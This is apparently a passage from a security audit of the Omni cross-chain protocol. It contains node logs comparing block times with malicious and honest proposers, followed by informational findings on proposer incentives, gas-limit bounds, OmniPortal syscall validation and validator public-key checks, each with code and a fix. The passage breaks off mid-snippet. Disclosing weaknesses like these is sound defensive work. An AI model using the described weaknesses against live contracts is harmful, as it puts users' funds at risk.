2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7 --> 1 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b --> 1 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4 --> 1 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A --> 2 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 2 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 1 (256)
2024-11-02 22:45:07 2024/11/03 02:45:07
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 22:45:07 2024/11/03 02:45:07
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0x5da3a16e0dbe4a3249ff7eddb4bb76c7bdff0b5b60ce274ec357ec09cd569205
2024-11-02 22:45:07 24-11-03 02:45:07.946 DEBU  ABCI call: ExtendVote                height=4606
2024-11-02 22:45:07 2024/11/03 02:45:07 *******************************ExtendVote(): LocalAddress -->
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1. Available: 4
2024-11-02 22:45:07 24-11-03 02:45:07.948 INFO Voted for rollup blocks                votes=4 1654-4=[2672]
↪  1654-1=[2673] 1652-4=[2684] 1652-1=[2685]
2024-11-02 22:45:08 24-11-03 02:45:08.049 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 2024/11/03 02:45:08 ****************************Voter::runOnce(): height: 12484,
↪  AttestInterval: 10
2024-11-02 22:45:08 2024/11/03 02:45:08 ****************************Voter::runOnce(): height: 12492,
↪  AttestInterval: 10
2024-11-02 22:45:08 24-11-03 02:45:08.122 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0xfb08ae73Af6f6756338E742AF3dA5b1921687b85, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 24-11-03 02:45:08.124 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 24-11-03 02:45:08.130 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 24-11-03 02:45:08.141 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 24-11-03 02:45:08.143 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 24-11-03 02:45:08.145 DEBU  ABCI call: VerifyVoteExtension       height=4606
2024-11-02 22:45:08 2024/11/03 02:45:08 **********************VerifyVoteExtension(): validator:
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A, block hash:
↪  0x4d01e4e2a508cfd47efacb982ab08876e82ca48eb3b35c12a79cc70411caef34, height: 4606
2024-11-02 22:45:08 2024/11/03 02:45:08 ***************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 22:45:08 2024/11/03 02:45:08 ***************************Keeper::Add()
2024-11-02 22:45:08 2024/11/03 02:45:08 *******************************Octane::msgServer::ExecutionPayload()
2024-11-02 22:45:08 2024/11/03 02:45:08 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0x5da3a16e0dbe4a3249ff7eddb4bb76c7bdff0b5b60ce274ec357ec09cd569205
2024-11-02 22:45:08 24-11-03 02:45:08.187 DEBU Delivered evm logs                    height=4604 count=0
2024-11-02 22:45:08 2024/11/03 02:45:08 *******************************Attest::Keeper::Approve()
2024-11-02 22:45:08 2024/11/03 02:45:08 *******************************Attest::Keeper::Approve(): pending
↪  vote processed : 2
2024-11-02 22:45:08 2024/11/03 02:45:08 ***************************Voter::TrimBehind()
2024-11-02 22:45:08 2024/11/03 02:45:08 ***************************ValSync::Keeper::Add(EndBlock)
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=1099 Block
↪  Height=4606
```

```
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.191 INFO  ********** Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=1099 Block
↪  Height=4606
2024-11-02 22:45:08 24-11-03 02:45:08.192 DEBU hash of all writes
↪  workingHash=DBBCD7AFFAAE3253FDB04C33BC7B787AD8F37BB984723929618B0BCBDCF02001
2024-11-02 22:45:08 24-11-03 02:45:08.192 DEBU  ABCI response: FinalizeBlock          height=4606 val_updates=0
2024-11-02 22:45:08 24-11-03 02:45:08.194 DEBU  ABCI call: Commit
```

Normal block production - 2 sec.

Here we can that when a good proposer is proposing, the block time between block is about `2 sec`. We can also note in the following `Validator details` that the malicious validators (the first 3) have pretty much the same power as others, so slash yet.


```
24-11-02 23:31:49.482 - FinalizeBlock          height=361
24-11-02 23:31:51.545 - FinalizeBlock          height=362
```

```
2024-11-02 19:31:49 24-11-02 23:31:49.482 DEBU  ABCI response: FinalizeBlock          height=361 val_updates=0
2024-11-02 19:31:49 24-11-02 23:31:49.484 DEBU  ABCI call: Commit
2024-11-02 19:31:49 24-11-02 23:31:49.493 DEBU prune start                             height=361
2024-11-02 19:31:49 24-11-02 23:31:49.493 DEBU pruning skipped, height is less than or equal to 0
2024-11-02 19:31:49 24-11-02 23:31:49.493 DEBU prune end                               height=361
2024-11-02 19:31:49 24-11-02 23:31:49.493 DEBU flushing metadata                       height=361
2024-11-02 19:31:49 24-11-02 23:31:49.494 DEBU flushing metadata finished              height=361
2024-11-02 19:31:49 24-11-02 23:31:49.494 DEBU snapshot is skipped                     height=361
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 360,
↪  AttestInterval: 5
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::Vote(): allowSkip: false, height:
↪  360, XMsg count: 4
2024-11-02 19:31:50 24-11-02 23:31:50.013 DEBU  Created vote for cross chain block    chain=omni_evm|F
↪  height=360 offset=195 msgs=4 F|mock_l1=75 F|mock_l2=77
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 894,
↪  AttestInterval: 10
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 894,
↪  AttestInterval: 10
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 886,
↪  AttestInterval: 10
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 886,
↪  AttestInterval: 10
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::runOnce(): height: 360,
↪  AttestInterval: 5
2024-11-02 19:31:50 2024/11/02 23:31:50 **************************Voter::Vote(): allowSkip: false, height:
↪  360, XMsg count: 4
2024-11-02 19:31:50 24-11-02 23:31:50.949 DEBU  Created vote for cross chain block    chain=omni_evm|L
↪  height=360 offset=195 msgs=4 F|mock_l1=75 F|mock_l2=77
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::runOnce(): height: 895,
↪  AttestInterval: 10
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::runOnce(): height: 887,
↪  AttestInterval: 10
```

```
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::runOnce(): height: 895,
↪  AttestInterval: 10
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::Vote(): allowSkip: false, height:
↪  895, XMsg count: 1
2024-11-02 19:31:51 24-11-02 23:31:51.094 DEBU  Created vote for cross chain block    chain=mock_l1|L
↪  height=895 offset=259 msgs=1 L|mock_l2=77
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::runOnce(): height: 887,
↪  AttestInterval: 10
2024-11-02 19:31:51 24-11-02 23:31:51.166 DEBU  ABCI call: ProcessProposal            height=362
↪  proposer=72d9522
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************proposalServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1 --> 1 (256)
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0x9984bAE4E470585bF670F46E486830fc1052d90b --> 1 (256)
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05 --> 1 (256)
...
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB --> 8 (256)
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73 --> 8 (256)
2024-11-02 19:31:51 2024/11/02 23:31:51 *********************************verifyAggVotes():
↪  0x08585C0c34Ef84F7638c797DE454e287a051874E --> 7 (256)
2024-11-02 19:31:51 24-11-02 23:31:51.191 DEBU Marked local votes as proposed           votes=8 1652="[255 257
↪  258]" 1651="[194 194]" 1001651=[199] 1654="[245 247]"
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::SetProposed()
2024-11-02 19:31:51 2024/11/02 23:31:51
↪  *******************************Octane::proposalServer::ExecutionPayload()
2024-11-02 19:31:51 2024/11/02 23:31:51
↪  *******************************Octane::proposalServer::ExecutionPayload(): blockhash -->
↪  0xdfbe526164baba7e6624952145459f26b08a3aff0b50ce9bc2946f592e55af55
2024-11-02 19:31:51 24-11-02 23:31:51.325 DEBU  ABCI call: ExtendVote                height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 *******************************ExtendVote(): LocalAddress -->
↪  0xa8f155c47769A57b32A3E9b667E189F7fc0250f1. Available: 3
2024-11-02 19:31:51 24-11-02 23:31:51.326 INFO Voted for rollup blocks                votes=3 1651-4=[195]
↪  1651-1=[195] 1652-1=[259]
2024-11-02 19:31:51 24-11-02 23:31:51.367 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.425 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x1f7A81aaCF699FE94e7bef7464525D2d22dCd55A, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.426 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0xcEc0971D588dEC617Fc89a7E6bcE949899Ab45b4, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.472 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x698824eD0c40a0E0439a8C0135AD6F2AEB580B73, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.476 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x019d403E34D45fF71CAd8D0d40Fa807Ce88FBfCB, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.479 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x26B05564cBA18807aacCFCe9804215341cd461B7, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 24-11-02 23:31:51.480 DEBU  ABCI call: VerifyVoteExtension       height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **********************VerifyVoteExtension(): validator:
↪  0x7A03674f4F02f5718F08b8D514B8484cc0444D05, block hash:
↪  0x3c8993b04d93ead1cdcbe3ab8554450aa8b437db912c8c0fd280e7364ffc03b8, height: 362
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************msgServer::AddVotes(): Authority:
↪  omni1hnrexpmyhxm63wdm6qtpk45ws62xd5xy5ddg5w
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Keeper::Add()
2024-11-02 19:31:51 24-11-02 23:31:51.517 DEBU Ignoring vote for attestation approved by different validator
↪  set att_id=1585 existing_valset_id=196 vote_valset_id=197 chain=mock_l1|L attest_offset=256 sigs=1
2024-11-02 19:31:51 24-11-02 23:31:51.518 DEBU Marked local votes as committed          votes=8 1651="[194
↪  194]" 1001651=[199] 1654="[245 247]" 1652="[255 257 258]"
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::SetCommitted()
2024-11-02 19:31:51 2024/11/02 23:31:51 *******************************Octane::msgServer::ExecutionPayload()
2024-11-02 19:31:51 2024/11/02 23:31:51 *******************************Octane::msgServer::ExecutionPayload():
↪  blockhash --> 0xdfbe526164baba7e6624952145459f26b08a3aff0b50ce9bc2946f592e55af55
```

```
2024-11-02 19:31:51 24-11-02 23:31:51.537 DEBU Delivered evm logs                    height=360 count=0
2024-11-02 19:31:51 2024/11/02 23:31:51 ******************************Attest::Keeper::Approve()
2024-11-02 19:31:51 24-11-02 23:31:51.538 DEBU  Approved attestation                 chain=omni_evm|L
↪  attest_offset=194 height=359 hash=70529ab
2024-11-02 19:31:51 24-11-02 23:31:51.538 DEBU  Approved attestation                 chain=omni_evm|F
↪  attest_offset=194 height=359 hash=70529ab
2024-11-02 19:31:51 24-11-02 23:31:51.538 DEBU  Approved attestation                 chain=mock_l1|L
↪  attest_offset=257 height=890 hash=a10e430
2024-11-02 19:31:51 24-11-02 23:31:51.538 DEBU  Approved attestation                 chain=mock_l1|L
↪  attest_offset=258 height=891 hash=cbdfb15
2024-11-02 19:31:51 24-11-02 23:31:51.539 DEBU  Approved attestation                 chain=mock_l1|F
↪  attest_offset=255 height=883 hash=975c101
2024-11-02 19:31:51 24-11-02 23:31:51.539 DEBU  Approved attestation                 chain=mock_l2|L
↪  attest_offset=247 height=890 hash=77ecf4f
2024-11-02 19:31:51 24-11-02 23:31:51.539 DEBU  Approved attestation                 chain=mock_l2|F
↪  attest_offset=245 height=883 hash=706d8cc
2024-11-02 19:31:51 24-11-02 23:31:51.539 DEBU  Approved attestation                 chain=omni_consensus|F
↪  attest_offset=199 height=199 hash=0000000
2024-11-02 19:31:51 2024/11/02 23:31:51 ******************************Attest::Keeper::Approve(): pending
↪  vote processed : 8
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::TrimBehind()
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************ValSync::Keeper::Add(EndBlock)
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1qxw5q035630lw89d35x5p75q0n5gl07tmhnpw0 Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1ppv9crp5a7z0wcuv0977g48zs7s9rp6whnwlz0 Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1raagr2k0dx07jnnmaa6xg5ja953de426cwehkd Jailed=false Power=198 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1y6c92ext5xyq02kvln5cqss4xswdgcdhva93nj Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1dxyzfmgvgzswqsu63sqnttt09t44szmngt0a8z Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper10gpkwn60qt6hrrcghr23fwzgfnqygng9qrxhvv Jailed=false Power=198 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1nxzt4e8ywpv9hans73hys6pslsg99kgtahgwuh Jailed=false Power=198 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper14rc4t3rhdxjhkv4raxmx0cvf7l7qy5833896ta Jailed=false Power=200 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1emqfw82c3hkxzl7gnflxhn55nzv6k3d5h2wk9n Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 24-11-02 23:31:51.540 INFO  ************ Validator details:
↪  OperatorAddress=omnivaloper1lvy2uua0dan4vvuwws408kjmrysks7u9cfvf44 Jailed=false Power=197 Block Height=362
2024-11-02 19:31:51 2024/11/02 23:31:51 **************************Voter::UpdateValidatorSet()
2024-11-02 19:31:51 24-11-02 23:31:51.541 INFO  Activating attested validator set     valset_id=198
↪  created_height=360 height=362
2024-11-02 19:31:51 24-11-02 23:31:51.545 DEBU hash of all writes
↪  workingHash=31971E69E79CA3B78A4E845B5FFDE2E5C03BE622FA88D98EFB6585277F2FF4CF
2024-11-02 19:31:51 24-11-02 23:31:51.545 DEBU  ABCI response: FinalizeBlock          height=362
↪  val_updates=10 pubkey_0=031c570 power_0=200 pubkey_1=028d3a2 power_1=198 pubkey_2=02c2339 power_2=198
↪  pubkey_3=02a1eac power_3=198 pubkey_4=033b20e power_4=197 pubkey_5=0290720 power_5=197 pubkey_6=03fa1c9
↪  power_6=197 pubkey_7=03e7453 power_7=197 pubkey_8=023a22e power_8=197 pubkey_9=0346778 power_9=197
2024-11-02 19:31:51 24-11-02 23:31:51.547 DEBU  ABCI call: Commit
```

3.7.78 Misaligned Incentives Encourage Proposers to Exclude Votes from Blocks

Severity: Informational

Context: abci.go#L122-L125

- Description
- There is an incentive misalignment in the cross-chain voting mechanism where block proposers can intentionally omit vote extensions from blocks they propose without facing penalties. Since processing and including vote extensions adds alot of computational overhead for proposer, proposers are economically incentivized to skip this work and only process the minimum (evmPayload).
- The issue creates an imbalanced validator ecosystem where block proposers can strategically minimize their workload by omitting vote extensions. When a proposer chooses not to include votes in their block, these votes cascade to subsequent blocks, introducing propagation delays in the cross-chain messaging system. (here we are assuming 2/3 of validators are honest)
- This creates a competitive disadvantage for honest validators who fully process and include votes, as they expend more computational resources while receiving identical rewards to validators who skip

this work. The current system architecture lacks both validation mechanisms to enforce vote inclusion and economic incentives to encourage proper participation. Since processing vote extensions requires more computational overhead than just handling the evmPayload, validators are naturally drawn toward the path of least resistance, potentially affecting the efficiency of cross-chain communication while maintaining protocol functionality.

- Recommendation
- The protocol should either enforce vote inclusion through additional validation checks in the processProposal function, or implement direct economic incentives for proposers to include as max votes in their blocks.

3.7.79 Inconsistent Gas Limit Boundary Checks Allow Equal Min/Max Values

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The _setXMsgMinGasLimit and _setXMsgMaxGasLimit functions in the OmniPortal contract contain inconsistent boundary validations that could allow the minimum gas limit to equal the maximum gas limit, violating the intended invariant that min should always be strictly less than max.
- Finding Description The vulnerability exists in the contradicting checks between the two functions:

```
function _setXMsgMinGasLimit(uint64 gasLimit) internal {
    require(gasLimit > 0, "OmniPortal: no zero min gas");
    require(gasLimit < xmsgMaxGasLimit, "OmniPortal: not below max");  // Uses <
    xmsgMinGasLimit = gasLimit;
    emit XMsgMinGasLimitSet(gasLimit);
}

function _setXMsgMaxGasLimit(uint64 gasLimit) internal {
    require(gasLimit > xmsgMinGasLimit, "OmniPortal: not above min"); // Uses >
    xmsgMaxGasLimit = gasLimit;
    emit XMsgMaxGasLimitSet(gasLimit);
}
```


The issue arises because:

_setXMsgMinGasLimit requires minGas < maxGas _setXMsgMaxGasLimit requires maxGas > minGas These checks allow the following sequence:

Current state: minGas = 1000, maxGas = 2000 -Set minGas to 1999 (valid as 1999 < 2000) -Set maxGas to 1999 (valid as 1999 > 1000) Result: minGas = maxGas = 1999

- Impact Explanation
- Gas limit range becomes zero (min equals max)
- No flexibility in gas limit settings
- Could brick contract functionality
- Messages requiring specific gas amounts might fail
- Likelihood Explanation
- MEDIUM likelihood because:

Requires specific sequence of operations

- Proof of Concept (if required)
- Recommendation (optional) Implement Boundary Checks

```
function _setXMsgMinGasLimit(uint64 gasLimit) internal {
    require(gasLimit > 0, "OmniPortal: no zero min gas");
    require(gasLimit < xmsgMaxGasLimit - MIN_GAS_BUFFER, "OmniPortal: insufficient range");
    xmsgMinGasLimit = gasLimit;
    emit XMsgMinGasLimitSet(gasLimit);
}

function _setXMsgMaxGasLimit(uint64 gasLimit) internal {
    require(gasLimit >= xmsgMinGasLimit + MIN_GAS_BUFFER, "OmniPortal: insufficient range");
    xmsgMaxGasLimit = gasLimit;
    emit XMsgMaxGasLimitSet(gasLimit);
}

// Add minimum required buffer between min and max gas limits
uint64 private constant MIN_GAS_BUFFER = 1000;
```

3.7.80 Several Missing/Insufficient Cross-Chain Message Validations in OmniPortal

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

Several insufficient validation checks exists in the OmniPortal contract's cross-chain message handling that could potentially be exploited, especially in the event of a bug in the Omni consensus chain. These validations are not adequately covered in the known issues documentation.

- Current Known Issues Documentation States:

  "Syscalls are xmsgs to the VirtualPortalAddress. Currently, the only allowed system xcalls come from consensus chain xmsgs broadcasted to each portal. Verification in the portal contracts does not enforce xmsgs to the VirtualPortalAddress are broadcast from the consensus chain. This allows for more flexible syscalls, but as we do not yet need them, we plan to enforce more strict validation for syscalls."

- Current Implementation:

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    uint64 sourceChainId = xheader.sourceChainId;
    uint64 destChainId = xmsg_.destChainId;
    uint64 shardId = xmsg_.shardId;
    uint64 offset = xmsg_.offset;

    require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

    // verify xmsg conf level matches xheader conf level
    // allow finalized blocks to for any xmsg, so that finalized blocks may correct "fuzzy" xmsgs
    require(
        ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
        "OmniPortal: wrong conf level"
    );
    // ... rest of the code
}
```

- Security Concerns Identified:

1. **Insufficient Regular Call Validation**
   - Current code allows messages with `destChainId == BroadcastChainId` to be executed as regular calls
   - No specific validation for regular calls vs syscalls based on destination chain
2. **Incomplete Syscall Validation**
   - When executing syscalls (`xmsg_.to == VirtualPortalAddress`), the code doesn't validate that for the xmsg:
     - That destChainId must be BroadcastChainId

- That confirmation level is finalized
- That shardId matches broadcast shard

3. **Insufficient xheader Validation**
   - For syscall, not mandating that xheader.confLevel is only finalized.

- Impact:

In case of a bug in the Omni consensus chain, these validation gaps could be exploited to:

- Execute broadcast messages/syscalls through non-broadcast paths
- Process system configuration changes without proper finalization
- Bypass security boundaries between regular and broadcast messaging
- Recommendation

1. **Implement Strict Validation Logic**:

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
    uint64 sourceChainId = xheader.sourceChainId;
    uint64 destChainId = xmsg_.destChainId;
    uint64 shardId = xmsg_.shardId;
    uint64 offset = xmsg_.offset;

    require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");

    // Validate that broadcast messages can only be finalized conflevel
    if (shardId == ConfLevel.toBroadcastShard(ConfLevel.Finalized)) {
        require(xheader.confLevel == ConfLevel.Finalized, "OmniPortal: broadcast msg requires finalized block"
);
    } else {
        // For non-broadcast messages, keep current conf level matches
       require(
            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
            "OmniPortal: wrong conf level"
        );
    }

    if (inXBlockOffset[sourceChainId][shardId] < xheader.offset) {
        inXBlockOffset[sourceChainId][shardId] = xheader.offset;
    }

    inXMsgOffset[sourceChainId][shardId] += 1;

    ...

    if (xmsg_.to == VirtualPortalAddress) {
        // Strict syscall validations
        require(destChainId == BroadcastChainId, "OmniPortal: syscall must be broadcast");
        require(shardId == ConfLevel.toBroadcastShard(ConfLevel.Finalized),
                "OmniPortal: syscall wrong shard");

        (success, result, gasUsed) = _syscall(xmsg_.data);
    } else {
        // Strict regular call validation
        require(destChainId == chainId(), "OmniPortal: wrong dest chain");

        (success, result, gasUsed) = _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
    }

    // Reset xmsg context
    delete _xmsg;

    bytes memory errorMsg = success ? bytes("") : result;
    emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
}
```

3.7.81 Creating a validator doesn't check that the public key corresponds to the validator key

Severity: Informational

Context: tx.go#L36-L79, evmstaking.go#L150-L184

- Description

The "create validator" logic does not ensure that the given public key corresponds to the validator's address.

This means that a validator may register a public key that he will never be able to use during consensus.

- Code snippet

`deliverCreateValidator` does not check that the given public key of a `CreateValidator` corresponds to the validator's ethereum address.

This function will accept a public key not related to the validator's ethereum address.

```
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error
{
    pubkey, err := k1util.PubKeyBytesToCosmos(ev.Pubkey) // @POC: decode the public key from the 33-byte input
    if err != nil {
        return errors.Wrap(err, "pubkey to cosmos")
    }

